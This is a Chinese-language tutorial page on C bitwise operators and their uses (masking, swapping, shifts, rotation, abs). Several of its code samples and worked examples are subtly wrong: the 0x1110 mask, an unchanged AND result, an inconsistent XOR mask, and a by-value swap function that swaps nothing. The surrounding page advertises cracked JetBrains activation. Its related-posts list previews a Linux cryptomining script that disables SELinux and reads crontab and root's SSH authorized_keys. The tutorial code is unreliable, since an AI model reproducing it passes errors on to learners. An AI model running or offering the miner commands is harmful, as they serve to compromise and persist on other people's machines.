c语言中位运算符的用法_c语言中位运算符的优先级

c语言中位运算符的用法_c语言中位运算符的优先级位 运 算一直对位运算头疼,在此总结一下   程序中的所有数在计算机内存中都是以二进制的形式储存的。位运算说穿了,就是直接对整数在内存中的二进制位进行操作。运位算包括位逻辑运算和移位运算,位逻辑运算能够方便地设置或屏蔽内存中某个字节的一位或几位,也可以对两个数按位相加等;移位运算可以对内存中某个二进制数左移或右移几位等。计算机内部是以补码形式存放数值的。C语言提供了六种位运算位运算符含义…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

   

一直对位运算头疼,在此总结一下

      程序中的所有数在计算机内存中都是以二进制的形式储存的。位运算说穿了,就是直接对整数在内存中的二进制位进行操作。运位算包括位逻辑运算和移位运算位逻辑运算能够方便地设置或屏蔽内存中某个字节的一位或几位,也可以对两个数按位相加等;移位运算可以对内存中某个二进制数左移或右移几位等。

计算机内部是以补码形式存放数值的。

C语言提供了六种位运算

位运算符 含义 举例
&(and) 按位与 a&b
|   ( or ) 按位或 a|b
^   ( xor ) 按位异或 a^b
~  ( not ) 按位取反 ~a
<<   (  shi ) 左移 a<<1
>> (  shr  ) 右移 a>>1

位逻辑运算规

a b a&b a|b a^b ~a ~b
0 0 0 0 0 1 1
1 0 1 1 1 0
1 0 0 1 1 0 1
1 1 1 1 0 0 0

假设a,b为整型的数据,并且设a=15(等于二进制数00000000 00001111),b=80(等于二进制数 00000000 01010000)

a的补码:00000000 00001111

 b的补码:00000000 01010000                     

            ————————

a&b:  00000000 00000000   a&b=0x0

a|b : 00000000 01011111   a|b=0x5f

a^b : 00000000 01011111   a^b=0x5f

~a  : 11111111 11110000    ~a=0xfff0

位运算应用口诀

清零取反要用与,某位置一可用或

若要取反和交换,轻轻松松用异或

1.“按位与”运算符&

运算规则:参加运算的两个运算量,如果两个数相应位的值都是1,则该位的结果值为1,否则为0。即:0 & 0 =0;0 & 1 =0;1 & 0 =0;1 & 1 =1。

(1)将某些二进制位屏蔽掉(保留一个数据中的某些位)。

如果要使整数k的低四位置零,保留其它位。用位与运算即可,将的高字节与0相与,低字节与1相与;

代码如下:unsigned int_set(unsigned int k)

{k=k&0x1110;

Return(k);}

例】00101010 01010010&11111111 11110000=00101010 01010010。

结论:任何二进制位与0能实现置0;与1保持原值不变

(2)判断一个数据的某一位是否为1。

如判断一个整数a(2个字节)的最高位是否为1,可以设一个与a同类型的测试变量test,test的最高位为1,其余位均为0,即int test=0x8000。

【例】   0100010011111110&1000000000000000=0 说明最高位为0;

     1100010011111110&1000000000000000=1000000000000000 说明最高位为1;

例如一个数 and 1的结果就是取二进制的最末位。这可以用来判断一个整数的奇偶,二进制的最末位为0表示该数为偶数,最末位为1表示该数为奇数.

2.“按位或”运算符|

常用来将源操作数某些位置1,其它位不变。 (mask中特定位置1,其它位为0 s=s|mask)

运算规则:参加运算的两个运算量,如果两个数相应位的值都是0,。即:0 | 0 =0;0 | 1 =1;1 | 0 =1;1 | 1 =1

把一个数据的某些位置为1。

如果把a的第10位置为1,而且不要破坏其它位,可以对a和b进行“按位或”运算,其中b的第10位置为1,其它位置为0,即int b=0x400。

【例】00100000 01010010|00000010 00000000=00100010 01010010。

3.“按位异或”运算符^

 运算规则:参加运算的两个运算量,如果两个数的相应位的值不同,则该位的结果值为1,否则为0。即:0 ^ 0 =0;0 ^ 1 =1;1 ^ 0 =1;1 ^ 1 =0

应用举例:

(1)把一个数据的某些位翻转,即1变为0,0变为1。

如要把a的奇数位翻转,可以对a和b进行“按位异或”运算,其中b的奇数位置为1,偶数位置为0,即int b=0xaaaa。

【例】a的补码:00000000 01010010

b的补码: 01010101 01010101

      ^   ——————-

结果的补码:  01010101 00000111

(2)交换两个值,不用临时变量。

【例】a=3,b=4。想将a和b的值互换,可以用以下三条赋值语句实现:

a=a^b;即:a=3^4=7(0011^0100=0111)

b=b^a;即:b=4^7=3(0100^0111=0011)

a=a^b;即:a=7^3=4(0111^0011=0100)

不用temp交换两个整数

void swap(int x , int y)

{

x ^= y;

y ^= x;

x ^= y;

}

编写对字符串进行密钥匙异或加解密程序

有了加密程序(a^b),相应的就应该有解密程序。解密程序是加密程序的逆过程,这里的加密和解密程序是完全相同的,原因是(a^b)^b=a。

4.“按位取反”运算符~

 

移位运算符:

左移、右移运算实现将一个数的各个二进制位向左向右移若干位。

1.左移运算符<<

运算规则:对运算符<<左边的运算量的每一位全部左移右边运算量表示的位数,右边空出的位补0。

【例】a<<2表示将a的各位依次向左移2位,a的最高2位移出去舍弃,空出的低2位以0填补。

例:char a=0x21;

则a<<2的过程 0010 0001〈〈2 = 1000 0100;即 a<<2的值为0x84。

左移1位相当于该数乘以2,左移n位相当于该数乘以2n。

乘法运算转化成位运算 (在不产生溢出的情况下)

a * (2^n) 等价于 a<< n        

2. 右移运算符>>

运算规则:对运算符>>左边的运算量的每一位全部右移右边运算量表示的位数,右边低位被移出去舍弃掉,空出的高位补0还是补1,分两种情况:

(1)对无符号数进行右移时,空出的高位补0。这种右移称为逻辑右移。

(2)对带符号数进行右移时,空出的高位全部以符号位填补。即正数补0,负数补1。这种右移称为算术右移。

   右移1位相当于除以2,同样,右移n位相当于除以2n。

除法运算转化成位运算 (在不产生溢出的情况下)

a / (2^n) 等价于 a>> n

取模运算转化成位运算 (在不产生溢出的情况下)

a % (2^n) 等价于 a & (2^n – 1)

循环移位的实现。

如将一个无符号整数x的各位进行循环左移4位的运算,即把移出的高位填补在空出的低位处。

可以用以下步骤实现:

(1)将x左移4位,空出的低4位补0,可通过表达式x<<4实现。

(2)将x的左端高4位右移到右端低4位,可通过表达式x>>(16-4)实现。由于x为无符号整数,故空出的左端补0。

(3)将上述两个表达式的值进行按位或运算,即:

      y=(x<<4) | (x>>(16-4));

   x       0010 1111 0010 0001

x<<4       1111 0010 0001 0000

x>>(16-4)  0000 0000 0000 0010

y          1111 0010 0001 0010

 unsigned rol ( unsigned a,int n)

           {   unsigned b ;

               b=(a<<n) | (a>>(16-n)) ;

               return(b);}

计算绝对值

int abs( int x )

{ int y ;

 y = x >> 31 ;//二进制最高位

 return (x^y)-y ; //or: (x+y)^y

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/185710.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • LINUX 挖矿脚本newdat.sh

    LINUX 挖矿脚本newdat.sh#!/bin/shsetenforce02>dev/nullechoSELINUX=disabled>/etc/sysconfig/selinux2>/dev/nullsync&&echo3>/proc/sys/vm/drop_cachescrondir=’/var/spool/cron/'”$USER”cont=`cat${crondir}`ssht=`cat/root/.ssh/authorized_keys`echo1&

  • python微信机器人制作教程+源码[通俗易懂]

    python微信机器人制作教程+源码[通俗易懂]python微信机器人,定时机器人,监控机器人。

  • Matlab读取txt文件中的数据(使用textread函数)[通俗易懂]

    Matlab读取txt文件中的数据(使用textread函数)[通俗易懂]在使用Matlab处理数据时,我们经常需要读取txt文档,可以使用Matlab中强大的textread函数。它的基本语法是:[A,B,C,…]=textread(filename,format)[A,B,C,…]=textread(filename,format,N)其中filename就是文件名,format就是要读取的格式,A,B,C就是从文件中读取到的数据。中括号里面变量的…

  • 缺陷报告怎么写_注意缺陷报告单

    缺陷报告怎么写_注意缺陷报告单缺陷报告怎么写意义:开发人员和测试人员沟通的重要工具1、缺陷编号(DefectID)——提交缺陷的顺序2、缺陷标题(summary)——简明扼要的描述缺陷3、缺陷的发现者(Defectby)–4、发现缺陷的日期(Detectedondata)—-当天5、缺陷所属的模块(subject)————测试哪个功能模块的时候发现的,开发者可以由此决定谁修改该bug6、发现缺陷版本(Detectedinrelease)测试的是哪个版本(测试是回归

  • 小白入门——“贪吃蛇”的C语言实现(详细)

    小白入门——“贪吃蛇”的C语言实现(详细)C语言实现,编译环境VS2017附:easyx图形化(文章末尾)效果图如下(有一些函数kbhit,getch,在这表示为_kbhit与_getch)//不同编译器原因注意在Dev等集成开发软件下可能会CEo(* ̄▽ ̄*)o一、引言作为一个小白,相信大家的心情都是一样的,渴望写一个人生的第一个“贪吃蛇”。…

  • Vue学习笔记-day01

    Vue学习笔记-day01

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号